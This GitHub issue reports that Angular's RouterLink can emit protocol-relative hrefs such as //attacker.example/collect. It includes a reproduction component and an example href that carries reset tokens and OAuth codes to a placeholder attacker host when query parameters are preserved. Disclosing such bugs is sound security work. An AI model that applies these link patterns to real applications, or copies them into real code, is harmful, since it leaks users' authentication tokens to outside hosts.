Skip to content

RouterLink can serialize internal route commands into protocol-relative external hrefs #69700

Description

@SkyZeroZx

Which @angular/* package(s) are the source of the bug?

router

Is this a regression?

No

Description

RouterLink is documented as a directive that creates links for Angular route navigation. The input is treated as commands passed to Router#createUrlTree, or as a UrlTree.

However , RouterLink can serialize some internal Angular route command forms into an href that starts with //.

Browsers treat //attacker.example/path as a scheme-relative external URL. On an HTTPS app, that becomes:

https://attacker.example/path

So an application can use RouterLink expecting internal Angular navigation, but Angular writes an attacker-controlled external URL into the DOM.

The issue appears when the internal route command creates an empty leading primary segment after the app root.

Attacker redirect cases

Validated cases that generate an external attacker-controlled href:

Case RouterLink command Attacker-controlled input Generated href
1 ['/', '', host, path] host = 'attacker.example', path = 'collect' //attacker.example/collect?...
2 ['/', ...next.split('/')] next = '/attacker.example/collect' //attacker.example/collect?...
3 [{ outlets: { primary: next } }] next = '/attacker.example/collect' //attacker.example/collect?...
4 [{ outlets: { primary: ['', host, path] } }] host = 'attacker.example', path = 'collect' //attacker.example/collect?...

On an HTTPS application, all of these browser-resolve to:

https://attacker.example/collect?...

The impact becomes security-relevant when the app also uses:

queryParamsHandling="preserve"

or:

queryParamsHandling="merge"

In those modes, Angular can copy the current URL query parameters into the generated external link.

Example trusted URL:

https://victim.example/reset?token=RESET_TOKEN&code=OAUTH_CODE&next=/attacker.example/collect

Generated RouterLink href:

<a
  href="//attacker.example/collect?token=RESET_TOKEN&code=OAUTH_CODE&next=..."
></a>

Browser destination:

https://attacker.example/collect?token=RESET_TOKEN&code=OAUTH_CODE&next=...

This can leak values such as password reset tokens, magic-login tokens, invite tokens, OAuth authorization codes, OAuth state values, or email verification tokens.

Minimal reproduction

import { Component, inject } from "@angular/core";
import { ActivatedRoute, RouterLink } from "@angular/router";

@Component({
  selector: "app-home",
  imports: [RouterLink],
  template: `
    <a
      id="case-1"
      target="_blank"
      [routerLink]="noSplitCommands"
      queryParamsHandling="preserve"
    >
      Case 1
    </a>

    <a
      id="case-2"
      target="_blank"
      [routerLink]="splitCommands"
      queryParamsHandling="preserve"
    >
      Case 2
    </a>

    <a
      id="case-3"
      target="_blank"
      [routerLink]="primaryOutletCommands"
      queryParamsHandling="preserve"
    >
      Case 3
    </a>

    <a
      id="case-4"
      target="_blank"
      [routerLink]="primaryOutletArrayCommands"
      queryParamsHandling="preserve"
    >
      Case 4
    </a>
  `,
})
export class Home {
  private readonly route = inject(ActivatedRoute);

  readonly host =
    this.route.snapshot.queryParamMap.get("host") ?? "attacker.example";

  readonly path = this.route.snapshot.queryParamMap.get("path") ?? "collect";

  readonly next =
    this.route.snapshot.queryParamMap.get("next") ??
    `/${this.host}/${this.path}`;

  readonly noSplitCommands = ["/", "", this.host, this.path];

  readonly splitCommands = ["/", ...this.next.split("/")];

  readonly primaryOutletCommands = [{ outlets: { primary: this.next } }];

  readonly primaryOutletArrayCommands = [
    { outlets: { primary: ["", this.host, this.path] } },
  ];
}

Additional

A normal left-click without target may be intercepted by Angular. However, the external href already exists in the DOM and can still be followed by native anchor navigation paths such as:

target="_blank", "_top", "_parent", or named target
middle-click
Ctrl/Cmd-click
context menu -> open link in new tab/window
SSR / pre-hydration link following
no-JavaScript clients
crawlers, preview bots, or link scanners
child click handlers that call stopPropagation() without preventDefault()

Please provide a link to a minimal reproduction of the bug

This was previously reported at https://issuetracker.google.com/u/1/issues/531036578, however it is not considered a problem, I believe it should be reconsidered

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions